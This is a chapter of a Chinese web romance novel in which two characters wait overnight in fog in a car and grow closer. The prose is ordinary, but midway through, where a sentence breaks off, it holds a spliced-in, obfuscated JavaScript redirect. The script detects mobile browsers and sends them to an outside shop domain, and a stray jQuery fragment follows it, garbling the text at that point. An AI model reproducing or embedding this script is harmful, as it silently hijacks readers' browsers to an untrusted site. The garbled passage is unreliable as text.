雾不散，反而更浓了。
沈微澜的手机亮了一下。是导航App的路况推送：【前方隧道事故清理还需时间，团雾预警持续到后半夜。】
车只能等在原地。
沈微澜关掉路况推送，没抬头，仍在看手机。项目方发来的补充材料，一页一页，密密麻麻。她眉头微蹙，手指在屏幕上划得很慢。
车停在应急带上。陆承衍熄了火。
暖风停了。团雾的湿冷便从门缝、底盘丝丝地渗进来，像水一样顺着脚踝往上爬。
时间一点点过去。车厢里的温度一点一点降下去。
沈微澜翻页的动作慢了下来。她的指尖冻得发僵，无意识地、很轻地搓了一下。
陆承衍看见了。
他把外套脱了下来，没说话，只是把外套搭在了她腿上。
动作很轻，轻得像只是随手放一件东西。那件外套还带着他的体温，沉甸甸地压下来，仿佛把他的一部分重量也压在了她身上。
“你自己呢。”沈微澜说。
“我不冷。”他说。
他的指尖搭在方向盘上，冻得微微发白。
沈微澜看见了。没戳穿。
后备箱里有他让备的应急箱，里面不是没有毯子。只是应急车道上，两人谁都没有下车，外面是吞掉一切的浓雾，和随时可能擦着车身掠过的车流。
沈微澜把那件外套往上拉了拉，盖住腿。外套上沾着他的气味，雪松混着羊绒，被她的动作一带，很淡地浮起来，落在鼻尖。她顿了半秒，才又接着看手机。
时间一点点熬过去。车厢里静得能听见彼此的呼吸。
屏幕的光映着她的脸。她的眼睛看得太久，有些干涩，手指冻得发僵，又累，在屏幕上划着划着，就慢了下来。
手机从她指间往下滑，眼看着就要掉落。
陆承衍的手伸了过来，稳稳接住。
接住的那一刻，他的掌心正好覆在她手背上。两个人的手一起托着那只手机。
沈微澜没动，也没抽手。
时间过去两秒。谁都没说话。
过了两秒，陆承衍先收回手。他把手机从她手里轻轻抽走，屏幕朝下，搁在中控台上。
收回去的那一下，他的指节无意间在她指尖上擦了一下，才彻底离开。
车厢里静得只剩两个人的呼吸。
“歇一会儿。”他声音很轻。
沈微澜看着自己空掉的手，没说话。过了几秒，她才慢慢把手收回来，拢进他那件外套里。
他手指的温度还留在她指尖上，慢慢才散去。
时间熬过去。雾还是那么浓，像一块化不开的白绸，把两个人和整个世界隔成一座孤岛。
沈微澜连日工作，本就累。车子里的冷被那件外套挡住了一些，可困意却漫了上来。
她的头先是轻轻一点，又猛地直起来，像和困意较劲。
可困意不散。
第二次，她的头没有再直起来，而是一点点偏过来。在陆承衍眼里，像慢动作。
最后，她的脑袋停在陆承衍肩窝的方向，没靠上去，悬着，隔了几厘米。
她的呼吸拂在他颈侧，很轻，像羽毛。
陆承衍整个人僵住了。
他一动都不敢动。呼吸都放轻了，怕惊动她。
像除夕夜那次，她靠着他睡着，他也是这样，不敢惊扰她，熬到天亮。
可这一次又多了一样东西。他心里在数她的呼吸。
一下，两下，三下。
他得靠数数，才能压住胸口那点快要溢出来的东西。否则，他怕自己的心跳会把这一团雾都震散了。
慢慢到了凌晨三点多。
前方有车动了。雾散了些，前车的尾灯亮起，车流开始缓慢地、试探性地往前挪。
陆承衍先看见了，却没有动。
他偏过头，看了沈微澜一眼。
不知什么时候，她的头已经从他肩窝那几厘米落到了他肩上，靠实了。她睡得很沉，呼吸匀而浅，呼出的热气一下一下落在他颈侧。
陆承衍僵着这个姿势，熬了半夜，半边身子早没了知觉。他还是没动。
后车按了喇叭，“滴”的一声，在雾夜里格外刺耳。
陆承衍皱了下眉，像被谁打断了什么。
又过了一会儿，车流挪得更快了，再不走就要被从后面顶上来。他这才偏过头，极轻地叫了她一声：“……要走了。”
他声音有点哑。
沈微澜没醒，眼睫毛合着，像蝴蝶的翅膀。嘴唇微张。
陆承衍顿了顿，又喊了一次。这一次，他抬起手，很轻地在她肩上碰了一下，指尖落下，像怕碰碎什么。
“沈微澜。”他说。
沈微澜迷迷糊糊醒过来。
一开始她还没意识到自己在哪里。
很快，她察觉到自己靠着的位置是一个人的肩膀。温热的，带着雪松和羊绒的气味。
沈微澜倏地坐直了身子。
她的头也倏地离开了那个位置。
她脖颈似乎还残留着他肩头的温度，但渐渐凉下去。
“……路通了？”沈微澜问。她声音发紧，眼睛看着前方，没有看他。
“通了。”陆承衍说，“走吧。”
沈微澜没有接话。抬手理了理根本不乱的头发，又扭头去看窗外，耳尖有点烫。
她的头离开了那个悬了半夜的位置。
在陆承衍的感受中，那团被她体温焐暖了半边身子的热气，一下子从肩头、手臂、身侧撤走了。
凉意从四面八方涌上来，填补那个空出来的位置。
陆承衍坐在驾驶座上，手还搭着方向盘。
人却没动，也没有发动车。
后车按了喇叭，“滴”的一声，在雾夜里格外刺耳。
陆承衍才像被惊醒，点火，起步。
车缓缓驶入车流。仪表盘冷白的光从下往上勾出他侧脸的轮廓，眉骨很高，鼻梁在光里投下一小片阴影，下颌线收得极利，像刀刻出来的一笔。
他喉结动了动，仿佛咽下了什么没说出口的话。光太暗，看不清他的眼睛。但那道侧脸的线条在雾夜里锋利得让人不敢多看。
而陆承衍脑子里清清楚楚地浮起一个念头。
刚才她离开的那个瞬间，他右肩那块骨头钝钝地疼了一下。
她靠着的时候，陆承衍僵着不敢动，半边身子都麻了，只觉得像是不敢惊扰一只蝴蝶。
可她一离开，他才发现，那一小块被焐热的地方空了。
凉意重新贴上来，像一块冰按在皮肤上。
他一直以为，自己习惯的是“她在”。
这一刻他才明白，原来“她不在”的时候，他身体会不适应。
陆承衍看着前方的雾。雾气在车灯里缓慢地化开。
他握着方向盘的手指，渐渐收紧了。
车开出雾区，上了一条通畅的路。天还没亮，雾在车灯前化开，远处的天际隐约透出一线青灰
沈微澜忽然开口：“你手是不是冻了。”
“没有。”陆承衍说。
沈微澜没说话，只是解开安全带，倾身向后，从后座摸出他早上放的那只暖手宝。
她把它塞进他手里。
塞进去之前，她的手在他微张的手掌上停了片刻。
只片刻，她迅速收回手。
“你自己备的，不知道用。”她声音很轻。
陆承衍低头看那只暖手宝，又看她。
沈微澜的脸在仪表盘的光里半明半暗，眼睛看着前方，不看他。
他把暖手宝搁在腿上，单手握着方向盘，另一只手压上去。
暖意从掌心漫上来，顺着血管
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887683|212611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，一路烧到胸口。
过了很久，他才“嗯”了一声。那声音低得几乎被发动机盖过去。
可他压在暖手宝上的手再也没移开。
清晨，车回到市区。
“去金融街。”沈微澜说，“协议签完，还有交割文件要处理，都在公寓。”
陆承衍没说话，把车开到了公寓楼下。
雾已经散了，只剩一层薄薄的湿雾贴着地面，像谁呵出的一口气。
“我自己上去。”她说。
“好。”
沈微澜推开车门，下车。
走出去几步，她忽然停住，回头。
他还坐在车里。车窗降下半扇，晨雾从窗缝飘进去，落在他肩头，洇湿一小片衣料。他没走，就那样看着她。
像在等她回头。
沈微澜张了张嘴，没出声。
过了两秒，她才开口：“你回去路上，慢点。”
声音很轻，像一句再普通不过的嘱咐。
她说出口，才后知后觉地发觉，自己开始为一个“不属于棋局的人”担心了。
陆承衍看着她，答：“嗯。”
沈微澜转身，走进楼里。
电梯间空荡荡的，晨光从高处的窗斜斜切进来。
手机震了一下。
她掏出来看。
是他发的，只有一个标点符号：【。】
沈微澜站定在电梯前，看着那个孤零零的句号，停了一会儿。
从前她发过这样一个句号。那时她不知道说什么，又不想让对话空着，就发了一个句号过去。
现在他把这个句号还给了她。
她忽然理解了他的意思。
她低头看着那个句号，嘴角弯了一下。笑意很淡，像晨雾散开时透出来的第一线天光。
她看了两秒，熄灭屏幕，没回。
电梯“叮”的一声到了。
车里，陆承衍看着她消失在楼里，没有走。
他打开手机里那个只有他自己知道的角落，“微澜区”。
他打字。打了很长一段，又一个字一个字地删掉。
最后，只留下一行：【她离开的时候，我数了三秒。这三秒，比平时长。】
他放下手机，抬头看向那栋楼的某一层。
灯亮起来了。
他的目光才慢慢收回来。
当晚，沈微澜回陆家宅子。
推开门，客厅只亮着一盏落地灯。
陆承衍坐在沙发上，没像以往那样看手机、iPad，或者文件，就那样坐着。
沈微澜莫名觉得，他好像在等她，而且等了很久。
茶几上一杯牛奶，还有一碟栗子糕。牛奶是温的，栗子糕是她上次多夹了几块的口味。
“回来了。”他说。
“嗯。”沈微澜说，“签完了。”
他没再问。
沈微澜走过去，在沙发边坐下。
两人之间隔了一个人的距离。和从前一样。
从前，这个距离是心照不宣的默契，不远不近，恰到好处地护着彼此。
可今天，在雾里，那个只剩下他们俩的车厢里，这个距离曾被逼到过零。
于是这一臂的距离忽然就变了味。
陆承衍把牛奶往她那边推了推。
她端起杯子，抿了一口。温的，温度刚刚好。
她没说话。只是伸出手，把栗子糕的碟子朝陆承衍那边推了两厘米。
陆承衍看了那碟子一眼，又看她。
她别过脸，不看陆承衍，但她耳朵尖红了。
陆承衍伸手，拿起一块栗子糕咬了一口，嘴角弯起一个弧度，压都压不住。
窗外，晨雾早已散尽。阳光从落地窗照进来，落在碟子里最后一块栗子糕上，也落在两个人之间那被悄悄缩短的、半寸的距离上。